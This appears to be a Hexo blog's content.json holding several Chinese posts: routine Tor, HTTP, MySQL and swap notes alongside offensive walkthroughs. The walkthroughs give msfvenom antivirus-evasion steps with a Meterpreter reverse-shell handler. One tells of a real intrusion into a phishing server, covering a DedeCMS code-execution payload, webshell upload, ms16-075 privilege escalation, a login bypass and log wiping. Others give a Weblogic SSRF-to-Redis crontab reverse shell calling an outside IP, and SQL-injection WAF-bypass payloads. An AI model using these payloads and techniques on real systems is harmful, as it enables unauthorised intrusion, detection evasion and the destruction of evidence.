-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 105 KB
/
content.json
1
{"meta":{"title":"Jaychouzzk's blogs","subtitle":null,"description":null,"author":"Jaychouzzk","url":"https://jaychouzzk.github.io"},"pages":[{"title":"学习笔记","date":"2018-12-04T00:47:58.000Z","updated":"2018-12-04T01:28:30.991Z","comments":false,"path":"categories/index-1.html","permalink":"https://jaychouzzk.github.io/categories/index-1.html","excerpt":"","text":""},{"title":"categories","date":"2018-12-03T11:33:07.000Z","updated":"2018-12-04T01:20:57.141Z","comments":false,"path":"categories/index.html","permalink":"https://jaychouzzk.github.io/categories/index.html","excerpt":"","text":""},{"title":"guestbook","date":"2018-12-04T00:48:21.000Z","updated":"2018-12-04T00:48:21.937Z","comments":true,"path":"guestbook/index.html","permalink":"https://jaychouzzk.github.io/guestbook/index.html","excerpt":"","text":""},{"title":"Python","date":"2018-12-04T00:47:15.000Z","updated":"2018-12-04T01:00:25.182Z","comments":true,"path":"tags/index-1.html","permalink":"https://jaychouzzk.github.io/tags/index-1.html","excerpt":"","text":""},{"title":"about","date":"2018-12-04T00:47:39.000Z","updated":"2018-12-04T00:47:39.469Z","comments":true,"path":"about/index.html","permalink":"https://jaychouzzk.github.io/about/index.html","excerpt":"","text":""},{"title":"tags","date":"2018-12-03T11:31:34.000Z","updated":"2018-12-04T01:00:18.729Z","comments":true,"path":"tags/index.html","permalink":"https://jaychouzzk.github.io/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"记一次暗网监控搭建","slug":"暗网监控搭建","date":"2019-08-07T16:00:00.000Z","updated":"2019-08-07T20:54:09.787Z","comments":true,"path":"2019/08/08/暗网监控搭建/","link":"","permalink":"https://jaychouzzk.github.io/2019/08/08/暗网监控搭建/","excerpt":"","text":"环境:Ubuntu 18.04 原文链接:https://github.com/aoii103/DarkNet_ChineseTrading 12apt install python3-pippip3 install --upgrade pip 0x01、验证码识别:12345apt-get install -y tesseract-ocr libtesseract-dev libleptonica-dev pip3 install tesserocr pillow cp media/snum.traineddata /usr/share/tesseract-ocr/4.00/tessdata/ 0x02、搭建tor服务器:1.安装tor在/etc/apt/sources.list添加如下源: 12deb https://deb.torproject.org/torproject.org bionic maindeb-src https://deb.torproject.org/torproject.org bionic main 2.添加gpg密钥,执行如下命令:12curl https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --importgpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add - 3.安装Tor:12apt updateapt install tor deb.torproject.org-keyring 4.配置tor:123456vim /etc/tor/torrc SOCKSPort 9150 # socks5代理地址Socks5Proxy 127.0.0.1:1086 # 科学上网代理地址(如已翻墙可不填)RunAsDaemon 1 # 开启后台运行ControlPort 9151 # 开启控制端口 5.error:出现此类错误的时候 ' error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ' for scrapy with Python 3, you’ll need 1234sudo apt-get install python3 python-dev python3-dev \\ build-essential libssl-dev libffi-dev \\ libxml2-dev libxslt1-dev zlib1g-dev \\ python-pip with Python 2, you’ll need 1234sudo apt-get install python-dev \\ build-essential libssl-dev libffi-dev \\ libxml2-dev libxslt1-dev zlib1g-dev \\ python-pip 0x03、数据库安装:Ubuntu 18.04安装dockerhttps://www.howtoing.com/how-to-install-and-use-docker-on-ubuntu-18-04 12345678910111213apt update apt install apt-transport-https ca-certificates curl software-properties-common curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable\"apt-get update apt-cache policy docker-ce apt install docker-ce 常用命令mysql: https://cloud.tencent.com/developer/article/1439653 12345678910111213141516171819202122232425docker pull 下载镜像 docker images 已下载的镜像 docker run --name mysql1 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql/mysql-server:latest 创建mysql-server容器 docker exec -it mysql1 mysql -uroot -p 连接容器中的数据库 use mysql;update user set host = '%' where user = \"root\";flush privileges; docker logs mysql1 查询日志docker exec -it mysql1 bash 登录shell docker stop mysql1 停止容器 docker start mysql1docker restart mysql1docker stop mysql1docker rm mysql1 Redis: https://blog.csdn.net/myNameIssls/article/details/80520465 12345docker run --name redis -d -p 6379:6379 redis --requirepass \"admin\" docker container prune 删除所有停止的容器 docker rm $(docker ps -a -q) 或者 docker rm $(docker ps -aq) 删除所有的容器","categories":[],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://jaychouzzk.github.io/tags/Linux/"},{"name":"DarkNet,Mysql","slug":"DarkNet,Mysql","permalink":"https://jaychouzzk.github.io/tags/DarkNet,Mysql/"},{"name":"Redis","slug":"Redis","permalink":"https://jaychouzzk.github.io/tags/Redis/"},{"name":"Tor","slug":"Tor","permalink":"https://jaychouzzk.github.io/tags/Tor/"}]},{"title":"msfvenom白加黑免杀.","slug":"msfvenom白加黑免杀","date":"2019-08-07T16:00:00.000Z","updated":"2019-08-07T22:41:20.278Z","comments":true,"path":"2019/08/08/msfvenom白加黑免杀/","link":"","permalink":"https://jaychouzzk.github.io/2019/08/08/msfvenom白加黑免杀/","excerpt":"","text":"通过一个shellcode加载器,加载我们生成的payload来进行免杀 shellcode加载器地址:https://github.com/clinicallyinane/shellcode_launcher 1.msf生成shellcode:12msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.102 lport=6666-e x86/shikata_ga_nai -i 5 -f raw > /home/k/Desktop/shellcode.bin 查看下shellcode加载器和我们生成的payload是否免杀 2.使用shellcode加载我们的payload:服务端先进行监听: 123456msfconsole> use exploit/multi/handler> set payload windows/meterpreter/reverse_tcp> set lhost 192.168.2.102> set lport 6666> run 客户端进行加载我们的shellcode 1shellcode_launcher.exe -i shellcode.bin 成功获取会话","categories":[],"tags":[{"name":"metasploit","slug":"metasploit","permalink":"https://jaychouzzk.github.io/tags/metasploit/"},{"name":"bypass","slug":"bypass","permalink":"https://jaychouzzk.github.io/tags/bypass/"}]},{"title":"记一次攻击钓鱼网站服务器","slug":"记一次攻击钓鱼网站服务器","date":"2019-04-17T16:00:00.000Z","updated":"2019-08-07T20:54:34.755Z","comments":true,"path":"2019/04/18/记一次攻击钓鱼网站服务器/","link":"","permalink":"https://jaychouzzk.github.io/2019/04/18/记一次攻击钓鱼网站服务器/","excerpt":"","text":"0X01 引言前段时间刚好遇到了一个以dedeCMS为后台管理的钓鱼网站,但是当时没有什么思路提权就放弃了,后来在信安之路看到了了一个关于攻击这种钓鱼网站的帖子,晓得了怎么再进行下一步提权并溯源的操作。 然而刚刚好,xxx同学发给我了一个和之前遇到的一模一样的钓鱼站,遂有了下面的故事 此次是为了记录学习一些操作 0X02 入侵钓鱼站GetShell由于有了之前那位小姐姐的帖子,没有进行信息搜集就直接开干了 网站域名一般为:http://xxxx.icu/Ru_op/这种格式的 http://xxxx.icu/dede/是网站的管理后台 通过DedeCMS V5.7 SP2后台存在代码执行漏洞 参考链接:https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/DedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E 首先,需要先获取到自己的token5f4193b27040861d563fe3505f90d5de 然后带入到域名 + /dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值里边 在这里执行http://xxxx.icu/dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[5f4193b27040861d563fe3505f90d5de 在http://xxxx.icu/include/taglib/secnote.lib.php查看返回结果这里有一个关键的信息 将原来的<?php phpinfo()?>修改为一句话,然后用菜刀连接上,成功getshell这里要注意,菜刀连接的方式需要选择base64编码,不然会出现错误 这里要注意,这个钓鱼站点默认是关闭了系统函数的,这就需要修改php.ini中的disable_functions虽然现在的用户权限无法读取BTsoft目录下的内容,但是可以直接读取D:/BtSoft/WebSoft/php/5.2/目录,因为网站是基于这个php文件运行的,所以拥有相同的权限,这样我们就可以修改php.ini文件了 在这里我已经修改完毕了 提权上传做好的反弹shell的木马程序 msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe > shell.exe 然后在VPS上监听所设置的端口,并将获取到的meterpreter会话放置到后台,再使用ms16-075进行提权 提权成功!接下来就是创建用户,开启远程桌面了。 0X03开启远程桌面当时开启远程桌面的时候不晓得为什么一直无法开启,后来想想,应该是修改了远程桌面的端口,查看端口发现一个8611端口,是宝塔的web服务端口 不晓得账号密码,怎么登录呢,在这里我将代码逻辑修改了下,不将获取到的用户名密码与数据库进行比对,直接登录 成功登录! 说实话,宝塔面板真的挺好用 登录远程桌面 0X04清理痕迹这里没有认真的清理自己所留下的痕迹,主要清除的是面板操作日志 这一步也做了好久,才发现宝塔的数据以及面板日志都存放在了D:\\BtSoft\\ServerAdmin\\bt_default.sqlite文件中 使用Dbeaver打开bt_default.sqlite,并将我的登录和操作痕迹擦除 结尾搜集了下服务器信息,发现经常登录的一个IP 223.111.137.157(这个应该是钓鱼的人的IP) 江苏省镇江市 定位半径:0米 纬度坐标:27.922104 经度坐标:116.351444 详细地址:江西省 抚州市 临川区 精确地址:江西省抚州市临川区 下饶东南148米 也没啥好玩的了,没有jsonp漏洞,也获取不到其他的信息了,溜了溜了","categories":[],"tags":[{"name":"PHP","slug":"PHP","permalink":"https://jaychouzzk.github.io/tags/PHP/"},{"name":"Windows","slug":"Windows","permalink":"https://jaychouzzk.github.io/tags/Windows/"},{"name":"DedeDMS,Mysql","slug":"DedeDMS,Mysql","permalink":"https://jaychouzzk.github.io/tags/DedeDMS,Mysql/"},{"name":"MSF","slug":"MSF","permalink":"https://jaychouzzk.github.io/tags/MSF/"}]},{"title":"HTTP POST GET 本质区别详解","slug":"HTTP POST GET 本质区别详解","date":"2019-03-25T16:00:00.000Z","updated":"2019-08-07T20:54:57.563Z","comments":true,"path":"2019/03/26/HTTP POST GET 本质区别详解/","link":"","permalink":"https://jaychouzzk.github.io/2019/03/26/HTTP POST GET 本质区别详解/","excerpt":"","text":"参考链接:HTTP协议中GET和POST方法的区别HTTP POST GET 本质区别详解 一.原理区别 一般再浏览器中输入网址访问资源都是通过GET方式;在FORM表单中提交数据,可以通过METHOD指定方式进行提交,默认为GET请求提交,还可以设置为POST请求进行提交 HTTP定义了与服务器交互的不同方法,最基本的方法有四种:GET,POST,PUT,DELETE 分别对应着查,改,增,删,四个操作,一般GET用于获取查询资源信息,POST一般用于更新资源信息 根据HTTP规范,GET用于信息的获取,而且应该是安全的、幂等的 1.所谓的安全,是意味着GET操作是用于获取信息而非修改信息。GET请求一般不应该产生副作用,仅仅是资源的获取,不会修改,增加数据,不会影响资源的状态2.幂等: 是一个数学或计算机学概念,常用于抽象代数。 对于单目运算,如果一个运算对于范围内所有的一个数进行多次该运算,返回的结果和进行一次该运算的结果一致,那么该运算被称之为幂等,比如绝对值运算就是一个幂等运算 对于双目运算,则要求当参与运算的两个值是等值的情况下,满足结果与参与运算的两个值相等,则该运算称之为运算幂等,如两个相等的数取最大值,该运算则为幂等运算 但在实际应用中,以上2条规定并没有这么严格。引用别人文章的例子:比如,新闻站点的头版不断更新。虽然第二次请求会返回不同的一批新闻,该操 作仍然被认为是安全的和幂等的,因为它总是返回当前的新闻。从根本上说,如果目标是当用户打开一个链接时,他可以确信从自身的角度来看没有改变资源即可。 根据HTTP规范,POST表示可能修改服务器上的资源请求。继续引用上面的例子:还是新闻以网站为例,读者对新闻发表自己的评论应该通过POST实现,因为在评论提交后站点的资源已经不同了,或者说资源被修改了。 问题的由来: 1.很多人贪方便,更新资源时用了GET,因为用POST必须要到FORM(表单),这样会麻烦一点。 2.对资源的增,删,改,查操作,其实都可以通过GET/POST完成,不需要用到PUT和DELETE。 3.另外一个是,早期的但是Web MVC框架设计者们并没有有意识地将URL当作抽象的资源来看待和设计 。还有一个较为严重的问题是传统的Web MVC框架基本上都只支持GET和POST两种HTTP方法,而不支持PUT和DELETE方法。 * 简单解释一下MVC:MVC本来是存在于Desktop程序中的,M是指数据模型,V是指用户界面,C则是控制器。使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。 以上3点典型地描述了老一套的风格(没有严格遵守HTTP规范),随着架构的发展,现在出现REST(Representational State Transfer),一套支持HTTP规范的新风格,这里不多说了,可以参考《RESTful Web Services》。 二、表现形式的区别 HTTP请求的格式如下: 1234<request line><headers><blank line><request-body> 在HTTP请求中,第一行必须为<request line>,用来说明请求类型、访问的资源、以及使用的HTTP版本,紧接着是HTTP请求头部,用来说明服务器要使用的附加信息。之后是一个空行,在此之后可以添加任意的其他数据 GET请求 12345GET /xxx/?xxx=xxx&xxx=xxx HTTP/1.1Host: xxx.xxx.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)Gecko/20050225 Firefox/1.0.1Connection: Keep-Alive POST请求 123456789POST / HTTP/1.1Host: xxx.xxx.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)Gecko/20050225 Firefox/1.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 40Connection: Keep-Alivexxx=xxx&xxx=xxx 显而易见,GET请求的数据是包含在URL中的,而POST请求时包含在HTTP Body中的 三、对长度的限制 对于传输数据的大小限制 1.首先,HTTP协议中并没有对这两种的传输数据大小做限制,也没有对URL的长度做限制,只有大多数浏览器或者服务器对URL的长度进行了长度限制,如IE的长度限制为2048个字符,火狐浏览器则为10w个字符。 2.理论上,POST请求不是通过URL传值,是不受数据大小限制的,但是,各个WEB服务器会规定对POST请求传输的数据进行不同的大小限制 四、安全性 在HTTP协议中,GET请求为什么会比POST请求安全呢? 1.这里的安全是指,一个方法的语义在本质上是只读的,不会引起服务端任何的状态变化,就是安全的无害的,而POST请求会去更新修改服务器端的资源,所以GET请求会比POST请求要安全。由此可得,HEAD, OPTIONS 和 TRACE 这几个方法也是安全的。 2.幂等,GET请求时幂等的,多次进行该请求和仅执行一次的结果完全相同,便是安全的,但是HTTP规范中是安全的,服务端是否能过做到幂等,这个是无法确保的。 仅仅是在HTTP协议中来看GET请求确实比POST请求要更加安全 如果是在实际应用来看的话,可见与不可见,POST请求还是比GET请求来的安全些,如:密码的传输、敏感信息的传输等等 五、实际应用的区别 方法 GET POST 后退按钮/刷新 无害 数据会被重新提交(浏览器应该告知用户数据会被重新提交) 书签 可收藏为书签 不可收藏为书签 缓存 能被缓存 不能缓存 编码类型 application/x-www-form-urlencoded application/x-www-form-urlencoded 或 multipart/form-data。为二进制数据使用多重编码。 历史 参数保留在浏览器历史中 参数不会保存在浏览器历史中 对数据类型的限制 只允许 ASCII 字符 没有限制。也允许二进制数据 安全性 与 POST 相比,GET 的安全性较差,因为所发送的数据是 URL 的一部分。在发送密码或其他敏感信息时绝不要使用 GET POST 比 GET 更安全,因为参数不会被保存在浏览器历史或 web 服务器日志中 可见性 数据在 URL 中对所有人都是可见的 数据不会显示在 URL 中 对数据长度的限制 是由浏览器和服务端来进行约束的","categories":[],"tags":[{"name":"HTTP","slug":"HTTP","permalink":"https://jaychouzzk.github.io/tags/HTTP/"}]},{"title":"mysql的隐式类型转换","slug":"mysql的隐式类型转换","date":"2019-03-23T16:00:00.000Z","updated":"2019-08-07T20:55:15.179Z","comments":true,"path":"2019/03/24/mysql的隐式类型转换/","link":"","permalink":"https://jaychouzzk.github.io/2019/03/24/mysql的隐式类型转换/","excerpt":"","text":"在小密圈中看到了一个这个问题,忽然发现自己好像也不晓得mysql数据库中有这种特性,遂记录一下 有位老哥提出了这样的问题,查询的时候出现了一个问题,where=1时,如图,只出现id=1的数据;当where=’1’=’’;时查询到除了id=1以外的数据。 下面有几位师傅解答了一下,where id='1'=''=where (id='1')='',过程应该是,mysql在进行字符串与数字比较时,字符串会被mysql隐式类型转换为浮点数,所以这里''被转换为了0,最后就是(id=1)=0,输出结果即为id不为1的结果。 在Freebuf中也看到了类似的操作SQL注入常规Fuzz全记录 select * from user where name='admin'+1+'' and passwd='123456';(为false) ==>提示用户名错误 select * from user where name='admin'+0+'' and passwd='123456';(为true) ==>提示密码错误 于是自己测试了一下,发现了神奇的结果,在进行字符串和数字运算的时候,mysql也会进行隐式类型转换, 1234567mysql> select 'admin'='admin'+'1';+---------------------+| 'admin'='admin'+'1' |+---------------------+| 0 |+---------------------+1 row in set, 2 warnings (0.00 sec) 1234567mysql> select 'admin'='admin'+'a';+---------------------+| 'admin'='admin'+'a' |+---------------------+| 1 |+---------------------+1 row in set, 3 warnings (0.00 sec) 隐式类型转换规则: ·如果一个或两个参数都是NULL,比较的结果是NULL,除了NULL安全的<=>相等比较运算符。对于NULL <=> NULL,结果为true。不需要转换·如果比较操作中的两个参数都是字符串,则将它们作为字符串进行比较。·如果两个参数都是整数,则将它们作为整数进行比较。·如果不与数字进行比较,则将十六进制值视为二进制字符串·如果其中一个参数是十进制值,则比较取决于另一个参数。 如果另一个参数是十进制或整数值,则将参数与十进制值进行比较,如果另一个参数是浮点值,则将参数与浮点值进行比较·如果其中一个参数是TIMESTAMP或DATETIME列,另一个参数是常量,则在执行比较之前将常量转换为时间戳。·在所有其他情况下,参数都是作为浮点数(实数)比较的。","categories":[],"tags":[{"name":"mysql","slug":"mysql","permalink":"https://jaychouzzk.github.io/tags/mysql/"}]},{"title":"Linux增加虚拟内存","slug":"Vultr增加虚拟内存","date":"2019-03-20T16:00:00.000Z","updated":"2019-08-07T20:55:35.939Z","comments":true,"path":"2019/03/21/Vultr增加虚拟内存/","link":"","permalink":"https://jaychouzzk.github.io/2019/03/21/Vultr增加虚拟内存/","excerpt":"","text":"有的KVM的VPS初始给的SWAP太小了,比如DigitalOcean就没有分配SWAP,Bandwagon给的才132MB的SWAP,所以需要自行增加SWAP文件。 vim swap.sh 按i键,开启插入模式,插入以下文字。 1234567891011121314151617181920#!/bin/bashecho -e \"\\033[33m Your current swap is \\033[0m\"free -hmkdir /SwapDircd /SwapDirdd if=/dev/zero of=/SwapDir/swap bs=1M count=512 #这里增加的空间是512MB chmod 0600 swap mkswap /SwapDir/swap #把这个分区变成swap分区 swapon /SwapDir/swap #把刚建的swap分区设成为有效状态 myFile=/etc/fstab.bak cd /etc if [ -f \"$myFile\" ];thenrm -rf fstab.bak #删除之前的备份 else cp /etc/fstab /etc/fstab.bak #备份fstab fi echo \"/SwapDir/swap swap swap defaults 0 0\">>/etc/fstab #增加新的swap开机自动启动 echo -e \"\\033[31m Done\\!Congratulation\\!System swap add successful\\! \\033[0m\" echo -e \"\\033[33m Your system swap is \\: \\033[0m\"free -h Esc,再输入“:wq”,保存退出。 运行这个脚本, sh swap.sh 即可增加一个512MB的SWAP文件。文件大小可以自行在脚本中修改,不过一般512MB也足够了。 转自:一键增加VPS虚拟内存SWAP","categories":[],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://jaychouzzk.github.io/tags/Linux/"},{"name":"Swap","slug":"Swap","permalink":"https://jaychouzzk.github.io/tags/Swap/"}]},{"title":"weblogic SSRF漏洞复现","slug":"weblogic SSRF漏洞复现","date":"2019-02-23T16:00:00.000Z","updated":"2019-08-07T20:55:55.851Z","comments":true,"path":"2019/02/24/weblogic SSRF漏洞复现/","link":"","permalink":"https://jaychouzzk.github.io/2019/02/24/weblogic SSRF漏洞复现/","excerpt":"","text":"这里使用vuhub中的weblogic SSRF漏洞环境 环境下载地址为: https://vulhub.org/ 打开链接http://192.168.11.137:7001/uddiexplorer/,可以发现此页面 访问页面Search Public Registries,发现是用来搜索的页面 http://192.168.11.137:7001/uddiexplorer/SearchPublicRegistries.jsp 访问页面Search Private Registry,发现需要用户登录才可以进行操作 http://192.168.11.137:7001/uddiexplorer/SearchPrivateRegistries.jsp 访问页面Publish Private Registry,发现也需要用户登录才可以进行操作 http://192.168.11.137:7001/uddiexplorer/PublishToPrivateRegistry.jsp 访问页面Modify Private Registry,发现也需要用户登录才可以进行操作 http://192.168.11.137:7001/uddiexplorer/ModifyRegistry.jsp 访问页面Setup UDDI Explorer,发现有一处可以输入url,可以尝试进行ssrf攻击 http://192.168.11.137:7001/uddiexplorer/SetupUDDIExplorer.jsp 漏洞测试:输入http://127.0.0.1:80 ,在使用burpsuite抓下包,查看下数据包,可以看到,Response包中的状态码为302,应该是不存在ssrf漏洞 尝试在Search Public Registries页面输入,发现返回了一个错误 http://192.168.11.137:7001/uddiexplorer/SearchPublicRegistries.jsp 使用burpsuit查看下数据包内容,发现此处的url好像是可以控制的 将端口改为一个存在的端口再继续查看返回结果,可以看到,返回404 将端口改为一个不存在的端口再继续查看返回结果,可以看到,返回not connect 尝试使用dict等协议尝试进行端口扫描,会返回不识别此协议 在虚拟机中使用docker inspect 98f9e676d014 命令来查看内网中redis服务的ip,ip为172.21.0.2 尝试探测内网redis服务,探测成功 尝试进行反弹shell,将以下代码进行url编码 set 1 "\\n\\n\\n\\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\\n\\n\\n\\n" config set dir /etc/ config set dbfilename crontab save 得到payload: test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F207.148.101.58%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa 成功反弹shell","categories":[],"tags":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"https://jaychouzzk.github.io/tags/漏洞复现/"}]},{"title":"总结:waf绕过技巧-sql,不完整版待补充","slug":"总结:waf绕过技巧-sql,不完整版待补充","date":"2019-01-19T16:00:00.000Z","updated":"2019-08-07T20:56:25.595Z","comments":true,"path":"2019/01/20/总结:waf绕过技巧-sql,不完整版待补充/","link":"","permalink":"https://jaychouzzk.github.io/2019/01/20/总结:waf绕过技巧-sql,不完整版待补充/","excerpt":"","text":"一、注释 代替注释的符号: # -- // /*letmetest*/ ; 可以用来代替空格的: --+- -- - /**/ /*!*/ /*!union*/ 可以用来代替union两边的空格 mysql> select * from stu where id=.1/*!union*/(select@,(select name from`stu`limit 1,1)); +------+------+ | id | name | +------+------+ | NULL | ss | +------+------+ 1 row in set (0.02 sec) 二、特殊用法 科学记数法: mysql> select * from stu where id=1e0union(select(2),(select(name)from(stu)limit 1,1)); +------+------+ | id | name | +------+------+ | 1 | zs | | 1 | aaa | | 2 | ss | +------+------+ 3 rows in set (0.00 sec) 一些特殊符号用法: (1) + mysql> select * from stu where id=8e0union(select+1,(select schema_name from information_schema.schemata limit 1,1)); +------+------------+ | id | name | +------+------------+ | 1 | challenges | +------+------------+ 1 row in set (0.00 sec) (2) - 用法 mysql> select * from stu where id=8e0union(select-1,(select schema_name from information_schema.schemata limit 1,1)); +------+------------+ | id | name | +------+------------+ | -1 | challenges | +------+------------+ 1 row in set (0.00 sec) (3) ``一些用法 mysql> select * from stu where id=8e0union(select-1,(select`schema_name`from information_schema.schemata limit 1,1)); +------+------------+ | id | name | +------+------------+ | -1 | challenges | +------+------------+ 1 row in set (0.00 sec) 但是这样使用就会出错 mysql> select * from stu where id=8e0union(select+1,(select schema_name from `information_schema.schemata` limit 1,1)); ERROR 1146 (42S02): Table 'mysql.information_schema.schemata' doesn't exist 这样使用就ok mysql> select * from stu where id=8e0union(select+1,(select id from `stu` limit 1,1)); +------+------+ | id | name | +------+------+ | 1 | 2 | +------+------+ 1 row in set (0.00 sec) (4) ~ 和+ - 的用法差不多 mysql> select * from stu where id=8e0union(select~1,(select`name`from`stu`limit 1,1)); +---------------------+------+ | id | name | +---------------------+------+ | 9223372036854775807 | ss | +---------------------+------+ 1 row in set (0.00 sec) (5) ! mysql> select * from stu where id=8e0union(select!1,(select`name`from`stu`limit 1,1)); +------+------+ | id | name | +------+------+ | 0 | ss | +------+------+ 1 row in set (0.00 sec) (6) @ 可以看到@后的值直接为null了,@后可以加任意值 mysql> select * from stu where id=8e0union(select@dawdwadwadwadawdwa,(select name from`stu`limit 1,1)); +------+------+ | id | name | +------+------+ | NULL | ss | +------+------+ 1 row in set (0.02 sec) mysql> select * from stu where id=8e0union(select@1,(select name from`stu`limit 1,1)); +------+------+ | id | name | +------+------+ | NULL | ss | +------+------+ 1 row in set (0.16 sec) (7) . 后可以加任意数字进行组合,结果都会返回一个空 mysql> select * from stu where id=.12312321312union(select@,(select name from`stu`limit 1,1)); +------+------+ | id | name | +------+------+ | NULL | ss | +------+------+ 1 row in set (0.02 sec) (8) '' 单引号 mysql> select * from stu where id=.1union(select'1',(select name from`stu`limit 1,1)); +------+------+ | id | name | +------+------+ | 1 | ss | +------+------+ 1 row in set (0.00 sec) (9) () mysql> select * from stu where id=0e1union(select(1),(select(name)from(stu)limit 1,1)); +------+------+ | id | name | +------+------+ | 1 | ss | +------+------+ 1 row in set (0.00 sec) (10) {} 花括号的一些用法 1.将多个独立语句合并为一个复合语句 例如:if...else... 2.在变量间接引用中进行定界,避免歧义 例如:${$my_var[8]}与${$my_var}[8]的区分 3.用于指示字符串变量中的单个字符,避免歧义 例如: $my_str = "1234"; $my_str{1} = '5'; //这个时候$my_str中的值为"1534" 这种用法为PHP5以上版本之后的特性,用于消除使用中括号引起的歧义 4.界定变量的名称 例如: $var = 'sky'; echo "{$var}boy"; 5.主要用来输出复杂变量 三、MySQL中的函数: (1)字符串转换函数 Unhex()与hex()函数 可以转换多个字符 ascii()输出10进制的ascii---char()只能转换第一个字符 mysql> select unhex(hex(@@version)); +-----------------------+ | unhex(hex(@@version)) | +-----------------------+ | 5.5.53 | +-----------------------+ 1 row in set (0.00 sec) unhex(version())=352E352E3533 mysql> select unhex(352E352E3533); ERROR 1367 (22007): Illegal double '352E352' value found during parsing mysql> select unhex(hex(version())); +-----------------------+ | unhex(hex(version())) | +-----------------------+ | 5.5.53 | +-----------------------+ 1 row in set (0.00 sec) (2) concat(),concat_ws()函数,一般用于连接字符串,参数可以有很多,concat_ws()的第一个参数是用来分割的 mysql> select concat(0x7e,@@version); +------------------------+ | concat(0x7e,@@version) | +------------------------+ | ~5.5.53 | +------------------------+ 1 row in set (0.00 sec) (3) distinct distinctrow用来去重 all()只能有一个参数 distinct()可以有多个参数 distinctrow()只能有一个参数 都可以单独使用,如 select all 1; group_concat(distinct column_name) 与group by配合使用,添加distinct后,将不同的column_name连接起来 mysql> select group_concat(distinct @@version,user()); +-----------------------------------------+ | group_concat(distinct @@version,user()) | +-----------------------------------------+ | 5.5.53root@localhost | +-----------------------------------------+ 1 row in set (0.00 sec) mysql> select/*!distinctrow*/*/**/from/*!stu*//*!where*/id=1; +------+------+ | id | name | +------+------+ | 1 | zs | | 1 | aaa | +------+------+ 2 rows in set (0.00 sec) (4)字符串截取函数 Mid(version(),1,1) Substr(version(),1,1) Substring(version(),1,1) Lpad(version(),1,1) Rpad(version(),1,1) Left(version(),1) reverse(right(reverse(version()),1) mysql> select reverse(right(reverse(version()),6)); +--------------------------------------+ | reverse(right(reverse(version()),6)) | +--------------------------------------+ | 5.5.53 | +--------------------------------------+ 1 row in set (0.00 sec) (5)exec() (6)报错函数 procedure analyse() updatexml() extracavalue() exp() ceil() atan() sqrt() floor() ceiling() tan() rand() sign() greatest() 四、waf绕过的一些技巧过滤了逗号 (1)limit处的逗号: limit 1 offset 0 (2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1) mysql中的自定义变量: 当过滤了union+select+from时可以用自定义变量组合成select+from+union 例: payload:id=2|@pwd:=(select/*dd*/user/*dd*/from/*dd*/user/*dd*/where/*dd*/host='localhost')/*dd*/union/*dd*/select/*dd*/@pwd mysql> select name from stu where id=2|@pwd:=(select user from user where host='localhost')/*!union select @pwd*/; +------+ | name | +------+ | ss | | root | +------+ 2 rows in set (0.05 sec) fuzz了下/*!50000select*/这个5位数,前两位数<50 && 第二位!==0 && 后三位数==0即可bypass。(一点细节也不要放过。) 当union+select拦截,select+from拦截,union+from不拦截的时候,关键时绕过select这个关键字 1.例 payload: id=2 union/*!12312%0aselect all*/user(),version() from stu id=1' union/*!50000select%0aall*/username from users%23 id=1' union/*!50000select%0adistinct*/username from users%23 id=1' union/*!50000select%0adistinctrow*/username from users%23 mysql> select id,name from stu where id=2 union/*!12312 -> select all*/user(),version() from stu; +----------------+--------+ | id | name | +----------------+--------+ | 2 | ss | | root@localhost | 5.5.53 | +----------------+--------+ 2 rows in set (0.00 sec) 超长字符串查询,可能会让waf挂掉 payload: /*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/ 云锁超长字符串绕过: 云锁在开始检测时先判断包的大小是否为7250byte以下,n为填充包内容,设置n大小为2328时,可以正常访问页面,但是会提示拦截了SQL注入 当数据包超过2329时就可以成功绕过,2329长度以后的就不检测了。 表情包绕过,愤怒表情,urlencode=%f0%9f%98%0a 最后一位是%a0,那么也就是说完全可以忽略掉最后一位,而多数emoji第四位是 ascii 127的字符,会导致waf引擎无法检测。 双重编码: 这个要视场景而定,如果确定一个带有waf的site存在解码后注入的漏洞的话,会有效避过waf。 unlencode base64 json binary querystring htmlencode unicode php serialize 宽字节注入 待补充 五、sqlmap自动化bypass: apostrophemask.py 用UTF-8全角字符替换单引号字符 apostrophenullencode.py 用非法双字节unicode字符替换单引号字符 appendnullbyte.py 在payload末尾添加空字符编码 base64encode.py 对给定的payload全部字符使用Base64编码 between.py 